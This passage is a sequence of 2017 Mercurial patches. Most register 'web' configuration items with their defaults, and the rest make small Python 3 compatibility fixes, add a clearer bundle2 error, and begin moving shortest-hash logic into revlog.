+test-bookmarks-strip.t
 test-branch-tag-confict.t
 test-casecollision.t
 test-check-commit.t
@@ -30,6 +31,7 @@
 test-issue1089.t
 test-issue1993.t
 test-issue842.t
+test-journal-exists.t
 test-locate.t
 test-lrucachedict.py
 test-manifest.py
@@ -51,6 +53,7 @@
 test-rename.t
 test-revlog-packentry.t
 test-run-tests.py
+test-status-terse.t
 test-terse-status.t
 test-unified-test.t
 test-update-dest.t
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505576873 14400
#      Sat Sep 16 11:47:53 2017 -0400
# Node ID 0f200e2310ca46a87653f6b575f04747f807b82c
# Parent  fa9f5d6733d37dc3d8d85c8a8e03f2b303559600
tests: add xrange alias for test-pathencode.py

diff --git a/tests/test-pathencode.py b/tests/test-pathencode.py
--- a/tests/test-pathencode.py
+++ b/tests/test-pathencode.py
@@ -19,6 +19,11 @@
     store,
 )
 
+try:
+    xrange
+except NameError:
+    xrange = range
+
 validchars = set(map(chr, range(0, 256)))
 alphanum = range(ord('A'), ord('Z'))
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505576885 14400
#      Sat Sep 16 11:48:05 2017 -0400
# Node ID d43340bec0f52fbe5aa79cf9103f28cc947eb5d5
# Parent  0f200e2310ca46a87653f6b575f04747f807b82c
tests: use int() instead of long() in test-pathencode.py

diff --git a/tests/test-pathencode.py b/tests/test-pathencode.py
--- a/tests/test-pathencode.py
+++ b/tests/test-pathencode.py
@@ -188,7 +188,7 @@
         if o in ('-c', '--count'):
             count = int(a)
         elif o in ('-s', '--seed'):
-            seed = long(a, base=0) # accepts base 10 or 16 strings
+            seed = int(a, base=0) # accepts base 10 or 16 strings
         elif o == '--build':
             buildprobtable(sys.stdout,
                            'find .hg/store/data -type f && '
@@ -197,9 +197,9 @@
 
     if seed is None:
         try:
-            seed = long(binascii.hexlify(os.urandom(16)), 16)
+            seed = int(binascii.hexlify(os.urandom(16)), 16)
         except AttributeError:
-            seed = long(time.time() * 1000)
+            seed = int(time.time() * 1000)
 
     rng = random.Random(seed)
     if runtests(rng, seed, count):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505496068 -7200
#      Fri Sep 15 19:21:08 2017 +0200
# Node ID cf08aaaea7f0ded9f43747e4865eae974ee837cc
# Parent  d43340bec0f52fbe5aa79cf9103f28cc947eb5d5
web: use '_unset' default value for proxy config method

This special value is needed to make sure registered default value are taken in
account.

diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -491,7 +491,7 @@
             else:
                 yield config('web', 'motd', '')
 
-        def config(section, name, default=None, untrusted=True):
+        def config(section, name, default=uimod._unset, untrusted=True):
             return self.ui.config(section, name, default, untrusted)
 
         self.updatereqenv(req.env)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787131 -7200
#      Fri Jun 30 03:45:31 2017 +0200
# Node ID ac96ff471c9a8b54d85748e7fb9286ee4c62830c
# Parent  cf08aaaea7f0ded9f43747e4865eae974ee837cc
configitems: register the 'web.accesslog' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -582,6 +582,9 @@
 coreconfigitem('verify', 'skipflags',
     default=None,
 )
+coreconfigitem('web', 'accesslog',
+    default='-',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -282,7 +282,7 @@
             prefix = '/' + prefix.strip('/')
         self.prefix = prefix
 
-        alog = openlog(ui.config('web', 'accesslog', '-'), ui.fout)
+        alog = openlog(ui.config('web', 'accesslog'), ui.fout)
         elog = openlog(ui.config('web', 'errorlog', '-'), ui.ferr)
         self.accesslog = alog
         self.errorlog = elog
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787132 -7200
#      Fri Jun 30 03:45:32 2017 +0200
# Node ID af4f0c74f8b5226452130b8d4fec7397522d037d
# Parent  ac96ff471c9a8b54d85748e7fb9286ee4c62830c
configitems: register the 'web.address' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -585,6 +585,9 @@
 coreconfigitem('web', 'accesslog',
     default='-',
 )
+coreconfigitem('web', 'address',
+    default='',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -326,7 +326,7 @@
         mimetypes.init()
         sys.setdefaultencoding(oldenc)
 
-    address = ui.config('web', 'address', '')
+    address = ui.config('web', 'address')
     port = util.getport(ui.config('web', 'port', 8000))
     try:
         return cls(ui, app, (address, port), handler)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787133 -7200
#      Fri Jun 30 03:45:33 2017 +0200
# Node ID 6742e18e41f0d93304f8ef476b4272e16f29cefa
# Parent  af4f0c74f8b5226452130b8d4fec7397522d037d
configitems: register the 'web.allow_archive' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -588,6 +588,9 @@
 coreconfigitem('web', 'address',
     default='',
 )
+coreconfigitem('web', 'allow_archive',
+    default=list,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787134 -7200
#      Fri Jun 30 03:45:34 2017 +0200
# Node ID b0a567017647755c4b85d194d0665b67ca601680
# Parent  6742e18e41f0d93304f8ef476b4272e16f29cefa
configitems: register the 'web.allow_read' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -591,6 +591,9 @@
 coreconfigitem('web', 'allow_archive',
     default=list,
 )
+coreconfigitem('web', 'allow_read',
+    default=list,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787135 -7200
#      Fri Jun 30 03:45:35 2017 +0200
# Node ID 4a192d70502e2417226fffc258633730605aa123
# Parent  b0a567017647755c4b85d194d0665b67ca601680
configitems: register the 'web.baseurl' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -594,6 +594,9 @@
 coreconfigitem('web', 'allow_read',
     default=list,
 )
+coreconfigitem('web', 'baseurl',
+    default=None,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787136 -7200
#      Fri Jun 30 03:45:36 2017 +0200
# Node ID f33904b8bb774fa60fdc5c72b2dae4356b3504ac
# Parent  4a192d70502e2417226fffc258633730605aa123
configitems: register the 'web.cacerts' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -597,6 +597,9 @@
 coreconfigitem('web', 'baseurl',
     default=None,
 )
+coreconfigitem('web', 'cacerts',
+    default=None,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787137 -7200
#      Fri Jun 30 03:45:37 2017 +0200
# Node ID 25b24a3e5a9ecf76e27f131412a9d8729881bc3e
# Parent  f33904b8bb774fa60fdc5c72b2dae4356b3504ac
configitems: register the 'web.certificate' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -600,6 +600,9 @@
 coreconfigitem('web', 'cacerts',
     default=None,
 )
+coreconfigitem('web', 'certificate',
+    default=None,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787138 -7200
#      Fri Jun 30 03:45:38 2017 +0200
# Node ID f6d25ffc8b7f8892b29830185950e676cce31d87
# Parent  25b24a3e5a9ecf76e27f131412a9d8729881bc3e
configitems: register the 'web.collapse' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -603,6 +603,9 @@
 coreconfigitem('web', 'certificate',
     default=None,
 )
+coreconfigitem('web', 'collapse',
+    default=False,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -325,7 +325,7 @@
         def rawentries(subdir="", **map):
 
             descend = self.ui.configbool('web', 'descend', True)
-            collapse = self.ui.configbool('web', 'collapse', False)
+            collapse = self.ui.configbool('web', 'collapse')
             seenrepos = set()
             seendirs = set()
             for name, path in self.repos:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787140 -7200
#      Fri Jun 30 03:45:40 2017 +0200
# Node ID 147104631eac64df4628cd86eb2081b830a0316f
# Parent  f6d25ffc8b7f8892b29830185950e676cce31d87
configitems: register the 'web.csp' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -606,6 +606,9 @@
 coreconfigitem('web', 'collapse',
     default=False,
 )
+coreconfigitem('web', 'csp',
+    default=None,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787141 -7200
#      Fri Jun 30 03:45:41 2017 +0200
# Node ID 9becd05476b8260c4592d27d12ea517060c4a5d6
# Parent  147104631eac64df4628cd86eb2081b830a0316f
configitems: register the 'web.deny_read' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -609,6 +609,9 @@
 coreconfigitem('web', 'csp',
     default=None,
 )
+coreconfigitem('web', 'deny_read',
+    default=list,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787142 -7200
#      Fri Jun 30 03:45:42 2017 +0200
# Node ID 131f8cd2c2b4a97f4b787d2b16221b30c60e4232
# Parent  9becd05476b8260c4592d27d12ea517060c4a5d6
configitems: register the 'web.descend' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -612,6 +612,9 @@
 coreconfigitem('web', 'deny_read',
     default=list,
 )
+coreconfigitem('web', 'descend',
+    default=True,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -324,7 +324,7 @@
 
         def rawentries(subdir="", **map):
 
-            descend = self.ui.configbool('web', 'descend', True)
+            descend = self.ui.configbool('web', 'descend')
             collapse = self.ui.configbool('web', 'collapse')
             seenrepos = set()
             seendirs = set()
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787143 -7200
#      Fri Jun 30 03:45:43 2017 +0200
# Node ID a6c18628dff1fe928cabe9cecc7f83834528ffa1
# Parent  131f8cd2c2b4a97f4b787d2b16221b30c60e4232
configitems: register the 'web.description' config

diff --git a/hgext/zeroconf/__init__.py b/hgext/zeroconf/__init__.py
--- a/hgext/zeroconf/__init__.py
+++ b/hgext/zeroconf/__init__.py
@@ -127,7 +127,9 @@
         with app._obtainrepo() as repo:
             name = app.reponame or os.path.basename(repo.root)
             path = repo.ui.config("web", "prefix", "").strip('/')
-            desc = repo.ui.config("web", "description", name)
+            desc = repo.ui.config("web", "description")
+            if not desc:
+                desc = name
         publish(name, desc, path, port)
     else:
         # webdir
@@ -137,7 +139,9 @@
             u.readconfig(os.path.join(path, '.hg', 'hgrc'))
             name = os.path.basename(repo)
             path = (prefix + repo).strip('/')
-            desc = u.config('web', 'description', name)
+            desc = u.config('web', 'description')
+            if not desc:
+                desc = name
             publish(name, desc, path, port)
     return httpd
 
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -615,6 +615,9 @@
 coreconfigitem('web', 'descend',
     default=True,
 )
+coreconfigitem('web', 'description',
+    default="",
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -428,7 +428,7 @@
                     continue
 
                 contact = get_contact(get)
-                description = get("web", "description", "")
+                description = get("web", "description")
                 seenrepos.add(name)
                 name = get("web", "name", name)
                 row = {'contact': contact or "unknown",
diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -719,8 +719,11 @@
     start = max(0, count - web.maxchanges)
     end = min(count, start + web.maxchanges)
 
+    desc = web.config("web", "description")
+    if not desc:
+        desc = 'unknown'
     return tmpl("summary",
-                desc=web.config("web", "description", "unknown"),
+                desc=desc,
                 owner=get_contact(web.config) or "unknown",
                 lastchange=tip.date(),
                 tags=tagentries,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787144 -7200
#      Fri Jun 30 03:45:44 2017 +0200
# Node ID 344fd1fe237baf46875d99908b0ed3ba7dd7d54a
# Parent  a6c18628dff1fe928cabe9cecc7f83834528ffa1
configitems: register the 'web.encoding' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -10,6 +10,7 @@
 import functools
 
 from . import (
+    encoding,
     error,
 )
 
@@ -618,6 +619,9 @@
 coreconfigitem('web', 'description',
     default="",
 )
+coreconfigitem('web', 'encoding',
+    default=lambda: encoding.encoding,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -320,7 +320,7 @@
         rctx = requestcontext(self, repo)
 
         # This state is global across all threads.
-        encoding.encoding = rctx.config('web', 'encoding', encoding.encoding)
+        encoding.encoding = rctx.config('web', 'encoding')
         rctx.repo.ui.environ = req.env
 
         if rctx.csp:
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -170,8 +170,7 @@
 
         self.repos = repos
         self.ui = u
-        encoding.encoding = self.ui.config('web', 'encoding',
-                                           encoding.encoding)
+        encoding.encoding = self.ui.config('web', 'encoding')
         self.style = self.ui.config('web', 'style', 'paper')
         self.templatepath = self.ui.config('web', 'templates', None)
         self.stripecount = self.ui.config('web', 'stripes', 1)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787145 -7200
#      Fri Jun 30 03:45:45 2017 +0200
# Node ID c97a750c28a597466a6522e1025567be03325cf6
# Parent  344fd1fe237baf46875d99908b0ed3ba7dd7d54a
configitems: register the 'web.errorlog' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -622,6 +622,9 @@
 coreconfigitem('web', 'encoding',
     default=lambda: encoding.encoding,
 )
+coreconfigitem('web', 'errorlog',
+    default='-',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -283,7 +283,7 @@
         self.prefix = prefix
 
         alog = openlog(ui.config('web', 'accesslog'), ui.fout)
-        elog = openlog(ui.config('web', 'errorlog', '-'), ui.ferr)
+        elog = openlog(ui.config('web', 'errorlog'), ui.ferr)
         self.accesslog = alog
         self.errorlog = elog
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787147 -7200
#      Fri Jun 30 03:45:47 2017 +0200
# Node ID 98fa9183de547a7e030bc761d2842554d0bac1a2
# Parent  c97a750c28a597466a6522e1025567be03325cf6
configitems: register the 'web.ipv6' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -625,6 +625,9 @@
 coreconfigitem('web', 'errorlog',
     default='-',
 )
+coreconfigitem('web', 'ipv6',
+    default=False,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787148 -7200
#      Fri Jun 30 03:45:48 2017 +0200
# Node ID e2d633f8ee659aa061726dd39db36e36b0113773
# Parent  98fa9183de547a7e030bc761d2842554d0bac1a2
configitems: register the 'web.port' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -628,6 +628,9 @@
 coreconfigitem('web', 'ipv6',
     default=False,
 )
+coreconfigitem('web', 'port',
+    default=8000,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -327,7 +327,7 @@
         sys.setdefaultencoding(oldenc)
 
     address = ui.config('web', 'address')
-    port = util.getport(ui.config('web', 'port', 8000))
+    port = util.getport(ui.config('web', 'port'))
     try:
         return cls(ui, app, (address, port), handler)
     except socket.error as inst:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787149 -7200
#      Fri Jun 30 03:45:49 2017 +0200
# Node ID d24816dfdcffd78ac066008108841c62aca04fe1
# Parent  e2d633f8ee659aa061726dd39db36e36b0113773
configitems: register the 'web.prefix' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -631,6 +631,9 @@
 coreconfigitem('web', 'port',
     default=8000,
 )
+coreconfigitem('web', 'prefix',
+    default='',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -177,7 +177,7 @@
         if self.stripecount:
             self.stripecount = int(self.stripecount)
         self._baseurl = self.ui.config('web', 'baseurl')
-        prefix = self.ui.config('web', 'prefix', '')
+        prefix = self.ui.config('web', 'prefix')
         if prefix.startswith('/'):
             prefix = prefix[1:]
         if prefix.endswith('/'):
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -277,7 +277,7 @@
 
         handler.preparehttpserver(self, ui)
 
-        prefix = ui.config('web', 'prefix', '')
+        prefix = ui.config('web', 'prefix')
         if prefix:
             prefix = '/' + prefix.strip('/')
         self.prefix = prefix
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787150 -7200
#      Fri Jun 30 03:45:50 2017 +0200
# Node ID fe5202bef5cee88d02c1c57366f0fa768813c088
# Parent  d24816dfdcffd78ac066008108841c62aca04fe1
configitems: register the 'web.refreshinterval' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -634,6 +634,9 @@
 coreconfigitem('web', 'prefix',
     default='',
 )
+coreconfigitem('web', 'refreshinterval',
+    default=20,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -29,6 +29,7 @@
 from .request import wsgirequest
 
 from .. import (
+    configitems,
     encoding,
     error,
     hg,
@@ -124,10 +125,11 @@
         self.refresh()
 
     def refresh(self):
-        refreshinterval = 20
         if self.ui:
-            refreshinterval = self.ui.configint('web', 'refreshinterval',
-                                                refreshinterval)
+            refreshinterval = self.ui.configint('web', 'refreshinterval')
+        else:
+            item = configitems.coreitems['web']['refreshinterval']
+            refreshinterval = item.default
 
         # refreshinterval <= 0 means to always refresh.
         if (refreshinterval > 0 and
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787151 -7200
#      Fri Jun 30 03:45:51 2017 +0200
# Node ID 945c9816ec1d61d404d34895bbe351f139b05a02
# Parent  fe5202bef5cee88d02c1c57366f0fa768813c088
configitems: register the 'web.stripes' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -637,6 +637,9 @@
 coreconfigitem('web', 'refreshinterval',
     default=20,
 )
+coreconfigitem('web', 'stripes',
+    default=1,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -99,7 +99,7 @@
         self.archivespecs = archivespecs
 
         self.maxchanges = self.configint('web', 'maxchanges', 10)
-        self.stripecount = self.configint('web', 'stripes', 1)
+        self.stripecount = self.configint('web', 'stripes')
         self.maxshortchanges = self.configint('web', 'maxshortchanges', 60)
         self.maxfiles = self.configint('web', 'maxfiles', 10)
         self.allowpull = self.configbool('web', 'allowpull', True)
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -175,7 +175,7 @@
         encoding.encoding = self.ui.config('web', 'encoding')
         self.style = self.ui.config('web', 'style', 'paper')
         self.templatepath = self.ui.config('web', 'templates', None)
-        self.stripecount = self.ui.config('web', 'stripes', 1)
+        self.stripecount = self.ui.config('web', 'stripes')
         if self.stripecount:
             self.stripecount = int(self.stripecount)
         self._baseurl = self.ui.config('web', 'baseurl')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787152 -7200
#      Fri Jun 30 03:45:52 2017 +0200
# Node ID db63872e10ccd79bd9a76cec9ab5c6883a92768c
# Parent  945c9816ec1d61d404d34895bbe351f139b05a02
configitems: register the 'web.style' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -640,6 +640,9 @@
 coreconfigitem('web', 'stripes',
     default=1,
 )
+coreconfigitem('web', 'style',
+    default='paper',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -173,7 +173,7 @@
         self.repos = repos
         self.ui = u
         encoding.encoding = self.ui.config('web', 'encoding')
-        self.style = self.ui.config('web', 'style', 'paper')
+        self.style = self.ui.config('web', 'style')
         self.templatepath = self.ui.config('web', 'templates', None)
         self.stripecount = self.ui.config('web', 'stripes')
         if self.stripecount:
diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -762,7 +762,7 @@
         ctx = fctx.changectx()
     basectx = ctx.p1()
 
-    style = web.config('web', 'style', 'paper')
+    style = web.config('web', 'style')
     if 'style' in req.form:
         style = req.form['style'][0]
 
@@ -999,7 +999,7 @@
     revs = fctx.filelog().revs(start, end - 1)
     entries = []
 
-    diffstyle = web.config('web', 'style', 'paper')
+    diffstyle = web.config('web', 'style')
     if 'style' in req.form:
         diffstyle = req.form['style'][0]
 
diff --git a/mercurial/hgweb/webutil.py b/mercurial/hgweb/webutil.py
--- a/mercurial/hgweb/webutil.py
+++ b/mercurial/hgweb/webutil.py
@@ -406,7 +406,7 @@
     if basectx is None:
         basectx = ctx.p1()
 
-    style = web.config('web', 'style', 'paper')
+    style = web.config('web', 'style')
     if 'style' in req.form:
         style = req.form['style'][0]
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787153 -7200
#      Fri Jun 30 03:45:53 2017 +0200
# Node ID 95f80c0958041fc559b8f6e42cc9eb60925cf4a4
# Parent  db63872e10ccd79bd9a76cec9ab5c6883a92768c
configitems: register the 'web.templates' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -643,6 +643,9 @@
 coreconfigitem('web', 'style',
     default='paper',
 )
+coreconfigitem('web', 'templates',
+    default=None,
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -174,7 +174,7 @@
         self.ui = u
         encoding.encoding = self.ui.config('web', 'encoding')
         self.style = self.ui.config('web', 'style')
-        self.templatepath = self.ui.config('web', 'templates', None)
+        self.templatepath = self.ui.config('web', 'templates')
         self.stripecount = self.ui.config('web', 'stripes')
         if self.stripecount:
             self.stripecount = int(self.stripecount)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505494670 -7200
#      Fri Sep 15 18:57:50 2017 +0200
# Node ID b59620c52eecb98556d1112a168281f002fdb57c
# Parent  95f80c0958041fc559b8f6e42cc9eb60925cf4a4
hgwebdir: read 'web.template' untrusted

The 'hgweb_mod.py' version of this read it untrusted. For consistency we align
the two versions of this code.

diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -174,7 +174,7 @@
         self.ui = u
         encoding.encoding = self.ui.config('web', 'encoding')
         self.style = self.ui.config('web', 'style')
-        self.templatepath = self.ui.config('web', 'templates')
+        self.templatepath = self.ui.config('web', 'templates', untrusted=False)
         self.stripecount = self.ui.config('web', 'stripes')
         if self.stripecount:
             self.stripecount = int(self.stripecount)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505515049 14400
#      Fri Sep 15 18:37:29 2017 -0400
# Node ID ab379eed2e31b523f80eaf316f119a993d99e061
# Parent  b59620c52eecb98556d1112a168281f002fdb57c
bundle2: raise a more helpful error if building a bundle part header fails

I've tripped on this several times now, and am tired of debugging. Now
the header parts are part of the error message when the ''.join()
fails, which makes debugging obvious.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1050,7 +1050,11 @@
             header.append(key)
             header.append(value)
         ## finalize header
-        headerchunk = ''.join(header)
+        try:
+            headerchunk = ''.join(header)
+        except TypeError:
+            raise TypeError(r'Found a non-bytes trying to '
+                            r'build bundle part header: %r' % header)
         outdebug(ui, 'header chunk size: %i' % len(headerchunk))
         yield _pack(_fpartheadersize, len(headerchunk))
         yield headerchunk
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1505458917 25200
#      Fri Sep 15 00:01:57 2017 -0700
# Node ID 448725a2ef7356524bcc9638a5c5eaaf59f263af
# Parent  ab379eed2e31b523f80eaf316f119a993d99e061
templater: extract shortest() logic from template function

It can be useful for extensions to be able to produce the shortest
unambiguous hash (including the in-tree "show" extension). That logic
is currently inside the shortest() template function. Let's move it
out of the templater. I've put it on revlog since it's closely related
to revlog._partialmatch. We may also want a convenience method on
context, but I'll leave that for a later patch.

Differential Revision: https://phab.mercurial-scm.org/D724

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1128,6 +1128,44 @@
 
         raise LookupError(id, self.indexfile, _('no match found'))
 
+    def shortest(self, hexnode, minlength=1):
+        """Find the shortest unambiguous prefix that matches hexnode."""
+        def isvalid(test):
+            try:
+                if self._partialmatch(test) is None:
+                    return False
+
+                try:
+                    i = int(test)
+                    # if we are a pure int, then starting with zero will not be
+                    # confused as a rev; or, obviously, if the int is larger
+                    # than the value of the tip rev
+                    if test[0] == '0' or i > len(self):
+                        return True
+                    return False
+                except ValueError:
+                    return True
+            except error.RevlogError:
+                return False
+            except error.WdirUnsupported:
+                # single 'ff...' match
+                return True
+
+        shortest = hexnode
+        startlength = max(6, minlength)
+        length = startlength
+        while True:
+            test = hexnode[:length]
+            if isvalid(test):
+                shortest = test
+                if length == minlength or length > startlength:
+                    return shortest
+                length -= 1
